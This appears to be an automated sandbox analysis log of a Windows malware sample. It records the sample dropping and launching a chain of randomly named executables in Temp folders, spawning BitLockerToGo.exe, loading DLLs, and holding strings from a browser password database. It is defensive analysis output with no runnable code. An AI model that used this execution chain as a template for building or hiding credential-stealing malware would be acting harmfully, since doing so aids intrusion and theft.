Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000003.1402375952.00000000057A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1401994425.00000000057D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519802629.00000000057D6000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131892780.00000000061EA000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2193850450.0000000001A06000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131396570.0000000006208000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2192998167.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2582927365.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583775078.00000000053C5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 36%
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: M20I1ZOZUN9VGSWFO63POXM.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696491690); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe "C:\Users\user~1\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe"
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe"
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe "C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe "C:\Users\user~1\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe "C:\Users\user~1\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe"
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe "C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe "C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe "C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe "C:\Users\user~1\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe "C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe "C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe "C:\Users\user~1\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe "C:\Users\user~1\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe "C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe "C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe"
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: apphelp.dll
